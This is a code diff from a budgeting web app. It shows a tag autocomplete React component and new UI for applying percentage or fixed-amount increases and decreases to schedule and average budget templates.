import { styles } from '@actual-app/components/styles';
import { theme } from '@actual-app/components/theme';
import { css } from '@emotion/css';
import { useCurrentWordRange } from '#hooks/useCurrentWordRange';
import { useCursorPosition } from '#hooks/useCursorPosition';
import { useTagCSS } from '#hooks/useTagCSS';
import { useFilteredTags } from '#hooks/useTags';
export type TagAutocompleteProps = {
inputValue: string;
setInputValue: (v: string) => void;
inputStyle?: CSSProperties;
onBlur?: FocusEventHandler;
onKeyDown?: KeyboardEventHandler;
onUpdate?: (value: string) => void;
};
export function TagAutocomplete({
inputValue,
setInputValue,
onBlur,
inputStyle,
onKeyDown,
onUpdate,
}: TagAutocompleteProps) {
const { t } = useTranslation();
const getTagCSS = useTagCSS();
const autocompleteId = useId();
const id = useCallback(
(itemId: string) => autocompleteId + '|' + itemId,
[autocompleteId],
);
const inputRef = useRef<HTMLInputElement | null>(null);
const [cursorPosition, setCursorPosition] = useCursorPosition(inputRef);
const [startIdx, endIdx] = useCurrentWordRange(inputValue, cursorPosition);
const currentWord = inputValue.slice(startIdx, endIdx);
const filteredTags = useFilteredTags(currentWord, true);
const filteredItems = useMemo(
() => filteredTags?.map(tag => ({ ...tag, name: '#' + tag.tag })) ?? [],
[filteredTags],
);
const [isOpen, setIsOpen] = useState(false);
const showPopup = isOpen && filteredItems.length > 0;
const [highlightedIdx, setHighlightedIdx] = useState(0);
const highlightedId =
showPopup && highlightedIdx < filteredItems.length
? filteredItems[highlightedIdx].id
: null;
useEffect(() => {
if (highlightedId) {
const el = document.querySelector(`[data-key="${id(highlightedId)}"]`);
el?.scrollIntoView?.({ block: 'nearest' });
}
}, [highlightedId, id]);
function handleSelect(id: string | null) {
const tagObj = filteredItems.find(tag => tag.id === id);
if (!tagObj) return;
const nextChar = inputValue.charAt(endIdx);
const space = nextChar === ' ' ? '' : ' ';
const newValue =
inputValue.slice(0, startIdx) +
'#' +
tagObj.tag +
space +
inputValue.slice(endIdx);
setInputValue(newValue);
setHighlightedIdx(0);
setIsOpen(false);
setCursorPosition(startIdx + tagObj.tag.length + 1 + space.length);
}
function handleKeyDown(e: KeyboardEvent<HTMLInputElement>) {
if (!showPopup) {
onKeyDown?.(e);
return;
}
if (e.key === 'ArrowUp') {
setHighlightedIdx(highlightedIdx - 1);
e.preventDefault();
} else if (e.key === 'ArrowDown') {
setHighlightedIdx(highlightedIdx + 1);
e.preventDefault();
} else if (e.key === 'Home' && filteredItems.length > 1) {
setHighlightedIdx(0);
e.preventDefault();
} else if (e.key === 'End' && filteredItems.length > 1) {
setHighlightedIdx(filteredItems.length - 1);
e.preventDefault();
} else if (highlightedId && (e.key === 'Enter' || e.key === 'Tab')) {
handleSelect(highlightedId);
e.preventDefault();
e.stopPropagation();
} else if (e.key === 'Escape') {
setIsOpen(false);
}
setHighlightedIdx(idx =>
Math.max(0, Math.min(idx, filteredItems.length - 1)),
);
}
return (
<>
<Input
ref={inputRef}
name="notes"
aria-label={t('Notes')}
aria-expanded={showPopup}
aria-controls={id('popover')}
role="combobox"
style={inputStyle}
value={inputValue}
onChange={e => {
setIsOpen(true);
setInputValue(e.currentTarget.value);
}}
onKeyDown={handleKeyDown}
onFocus={() => setIsOpen(true)}
onBlur={onBlur}
onUpdate={onUpdate}
autoComplete={showPopup ? 'off' : undefined}
/>
<Popover
isNonModal
placement="bottom start"
className={css(styles.darkScrollbar)}
style={{
background: theme.menuAutoCompleteBackground,
borderRadius: 6,
boxShadow: '0 4px 6px rgba(0,0,0,0.1)',
width: inputRef.current?.offsetWidth ?? 100,
}}
offset={1}
triggerRef={inputRef}
isOpen={showPopup}
onOpenChange={setIsOpen}
>
<ListBox
aria-label={t('Tag List')}
id={id('popover')}
items={filteredItems}
selectionMode="single"
dependencies={[highlightedId]}
onPointerDown={e => e.preventDefault()}
style={{ borderRadius: 4, maxHeight: '150px', overflowY: 'auto' }}
>
{(item: (typeof filteredItems)[number]) => (
<ListBoxItem
key={item.id}
id={id(item.id)}
textValue={item.name}
style={() => ({
backgroundColor:
highlightedId === item.id
? theme.menuAutoCompleteBackgroundHover
: 'transparent',
alignItems: 'center',
padding: 4,
fontWeight: 500,
cursor: 'pointer',
color:
highlightedId === item.id
? theme.menuAutoCompleteItemTextHover
: theme.menuAutoCompleteItemText,
})}
onMouseOver={() =>
setHighlightedIdx(
Math.max(
0,
filteredItems.findIndex(_item => _item.id === item.id),
),
)
}
onPointerDown={e => e.preventDefault()}
onClick={() => handleSelect(item.id)}
>
<div className={getTagCSS(item.tag)}>{item.name}</div>
</ListBoxItem>
)}
</ListBox>
</Popover>
</>
);
}

View File

@@ -35,6 +35,8 @@ export function AutomationErrorTitle({
return <Trans>Early spending starts after target</Trans>;
case 'percentage-source-not-found':
return <Trans>Source category not recognised</Trans>;
case 'adjustment-out-of-range':
return <Trans>Adjustment out of range</Trans>;
default:
error satisfies never;
return null;
@@ -78,6 +80,8 @@ export function AutomationErrorShort({
return <Trans>Early spending must start before the target</Trans>;
case 'percentage-source-not-found':
return <Trans>Pick a valid income category</Trans>;
case 'adjustment-out-of-range':
return <Trans>Adjustment out of range</Trans>;
default:
error satisfies never;
return null;
@@ -155,6 +159,13 @@ export function AutomationErrorDetail({
known income category.
</Trans>
);
case 'adjustment-out-of-range':
return (
<Trans>
A percentage decrease must be under 100% and an increase at most
1000%.
</Trans>
);
default:
error satisfies never;
return null;

View File

@@ -0,0 +1,160 @@
import { useEffect, useState } from 'react';
import { useTranslation } from 'react-i18next';
import { Input } from '@actual-app/components/input';
import { Select } from '@actual-app/components/select';
import { SpaceBetween } from '@actual-app/components/space-between';
import { amountToInteger, integerToAmount } from '@actual-app/core/shared/util';
import type {
AverageTemplate,
ScheduleTemplate,
} from '@actual-app/core/types/models/templates';
import { updateTemplate } from '#components/budget/goals/actions';
import type { Action } from '#components/budget/goals/actions';
import { FormField, FormLabel } from '#components/forms';
import { AmountInput } from '#components/util/AmountInput';
import { useFormat } from '#hooks/useFormat';
type AdjustableTemplate = ScheduleTemplate | AverageTemplate;
type AdjustmentType = 'percent' | 'fixed';
type UnitOption = 'none' | AdjustmentType;
type Direction = 'increase' | 'decrease';
// Seeded when an adjustment is first switched on.
const DEFAULT_MAGNITUDE = 10;
type AmountAdjustmentProps = {
template: AdjustableTemplate;
dispatch: (action: Action) => void;
};
// Editor for the optional increase/decrease modifier on schedule and average
// templates. `adjustment` is stored as a single signed number. The unit
// dropdown turns the adjustment on and off and picks percentage vs fixed
// amount. A percentage uses an increase/decrease selector for the direction;
// a fixed amount uses AmountInput, whose own sign is the direction.
export const AmountAdjustment = ({
template,
dispatch,
}: AmountAdjustmentProps) => {
const { t } = useTranslation();
const format = useFormat();
const enabled = template.adjustment !== undefined;
const adjustmentType: AdjustmentType = template.adjustmentType ?? 'percent';
const adjustment = template.adjustment ?? 0;
const increasing = adjustment >= 0;
const magnitude = Math.abs(adjustment);
const [rawMagnitude, setRawMagnitude] = useState(String(magnitude));
// Resync when a different automation row is selected (the component
// instance is reused across rows).
useEffect(() => {
setRawMagnitude(String(magnitude));
}, [magnitude]);
const apply = (
next: number | undefined,
type: AdjustmentType | undefined,
) => {
if (template.type === 'schedule') {
dispatch(
updateTemplate({
type: 'schedule',
adjustment: next,
adjustmentType: type,
}),
);
} else {
dispatch(
updateTemplate({
type: 'average',
adjustment: next,
adjustmentType: type,
}),
);
}
};
const changeUnit = (unit: UnitOption) => {
if (unit === 'none') {
apply(undefined, undefined);
return;
}
// Keep the current size when switching units; seed an increase when
// switching on from off.
apply(template.adjustment ?? DEFAULT_MAGNITUDE, unit);
};
const changeDirection = (direction: Direction) => {
apply(direction === 'decrease' ? -magnitude : magnitude, 'percent');
};
const commitMagnitude = () => {
const parsed = Number(rawMagnitude);
const size = Number.isFinite(parsed) ? Math.max(0, parsed) : 0;
setRawMagnitude(String(size));
apply(increasing ? size : -size, 'percent');
};
return (
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
<FormField style={{ flex: 1 }}>
<FormLabel title={t('Adjustment')} htmlFor="adjustment-unit-field" />
<SpaceBetween align="center" gap={12}>
<Select
id="adjustment-unit-field"
value={enabled ? adjustmentType : 'none'}
onChange={changeUnit}
options={[
['none', t('No adjustment')],
['fixed', t('Fixed amount')],
['percent', t('Percentage')],
]}
style={{ width: 160 }}
/>
{enabled &&
(adjustmentType === 'fixed' ? (
<AmountInput
id="adjustment-amount-field"
zeroSign="+"
value={amountToInteger(
adjustment,
format.currency.decimalPlaces,
)}
onUpdate={next =>
apply(
integerToAmount(next, format.currency.decimalPlaces),
'fixed',
)
}
style={{ flex: 'none', width: 140 }}
/>
) : (
<>
<Select
id="adjustment-direction-field"
value={increasing ? 'increase' : 'decrease'}
onChange={changeDirection}
options={[
['increase', t('Increase')],
['decrease', t('Decrease')],
]}
style={{ width: 150 }}
/>
<Input
id="adjustment-amount-field"
inputMode="decimal"
style={{ width: 120 }}
value={rawMagnitude}
onChangeValue={setRawMagnitude}
onBlur={commitMagnitude}
/>
</>
))}
</SpaceBetween>
</FormField>
</SpaceBetween>
);
};

View File

@@ -0,0 +1,46 @@
import { Trans } from 'react-i18next';
import { amountToInteger } from '@actual-app/core/shared/util';
import type {
AverageTemplate,
ScheduleTemplate,
} from '@actual-app/core/types/models/templates';
import { useFormat } from '#hooks/useFormat';
type AmountAdjustmentSummaryProps = {
template: ScheduleTemplate | AverageTemplate;
};
// Trailing clause for a template's increase or decrease adjustment, e.g.
// "(increased by 10%)". Renders nothing when no adjustment is set.
export function AmountAdjustmentSummary({
template,
}: AmountAdjustmentSummaryProps) {
const format = useFormat();
if (template.adjustment === undefined) {
return null;
}
const increase = template.adjustment >= 0;
const magnitude = Math.abs(template.adjustment);
if (template.adjustmentType === 'fixed') {
const amount = format(
amountToInteger(magnitude, format.currency.decimalPlaces),
'financial',
);
return increase ? (
<Trans>(increased by {{ amount }})</Trans>
) : (
<Trans>(decreased by {{ amount }})</Trans>
);
}
return increase ? (
<Trans>(increased by {{ percent: magnitude }}%)</Trans>
) : (
<Trans>(decreased by {{ percent: magnitude }}%)</Trans>
);
}

View File

@@ -9,6 +9,7 @@ import type {
import { updateTemplate } from '#components/budget/goals/actions';
import type { Action } from '#components/budget/goals/actions';
import { AmountAdjustment } from '#components/budget/goals/editor/AmountAdjustment';
import { FormField, FormLabel } from '#components/forms';
import { GenericInput } from '#components/util/GenericInput';
@@ -24,42 +25,49 @@ export const HistoricalAutomation = ({
const { t } = useTranslation();
return (
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
<FormField style={{ flex: 1 }}>
<FormLabel title={t('Mode')} htmlFor="mode-field" />
<Select
id="mode-field"
key="mode-picker"
options={[
['copy', t('Copy a previous month')],
['average', t('Average of previous months')],
]}
value={template.type}
onChange={type => dispatch(updateTemplate({ type }))}
/>
</FormField>
<FormField style={{ flex: 1 }}>
<FormLabel
title={t('Number of months back')}
htmlFor="look-back-field"
/>
<GenericInput
key="look-back-input"
type="number"
value={
template.type === 'average' ? template.numMonths : template.lookBack
}
onChange={value =>
dispatch(
updateTemplate(
template.type === 'average'
? { type: 'average', numMonths: value }
: { type: 'copy', lookBack: value },
),
)
}
/>
</FormField>
</SpaceBetween>
<>
<SpaceBetween gap={50} style={{ marginTop: 10 }}>
<FormField style={{ flex: 1 }}>
<FormLabel title={t('Mode')} htmlFor="mode-field" />
<Select
id="mode-field"
key="mode-picker"
options={[
['copy', t('Copy a previous month')],
['average', t('Average of previous months')],
]}
value={template.type}
onChange={type => dispatch(updateTemplate({ type }))}
/>
</FormField>
<FormField style={{ flex: 1 }}>
<FormLabel
title={t('Number of months back')}
htmlFor="look-back-field"
/>
<GenericInput
key="look-back-input"
type="number"
value={
template.type === 'average'
? template.numMonths
: template.lookBack
}
onChange={value =>
dispatch(
updateTemplate(
template.type === 'average'
? { type: 'average', numMonths: value }
: { type: 'copy', lookBack: value },
),
)
}
/>
</FormField>
</SpaceBetween>
{template.type === 'average' && (
<AmountAdjustment template={template} dispatch={dispatch} />
)}
</>
);
};

View File

@@ -5,6 +5,8 @@ import type {
CopyTemplate,
} from '@actual-app/core/types/models/templates';
import { AmountAdjustmentSummary } from './AmountAdjustmentSummary';
type HistoricalAutomationReadOnlyProps = {
template: CopyTemplate | AverageTemplate;
};
@@ -12,13 +14,27 @@ type HistoricalAutomationReadOnlyProps = {
export const HistoricalAutomationReadOnly = ({
template,
}: HistoricalAutomationReadOnlyProps) => {
return template.type === 'copy' ? (
<Trans count={template.lookBack}>
Budget the same amount as {{ count: template.lookBack }} months ago
</Trans>
) : (
if (template.type === 'copy') {
return (
<Trans count={template.lookBack}>
Budget the same amount as {{ count: template.lookBack }} months ago
</Trans>
);
}
const base = (
<Trans count={template.numMonths}>
Budget the average of the last {{ count: template.numMonths }} months
</Trans>
);
if (template.adjustment === undefined) {
return base;
}
return (
<>
{base} <AmountAdjustmentSummary template={template} />
</>
);
};

Some files were not shown because too many files have changed in this diff Show More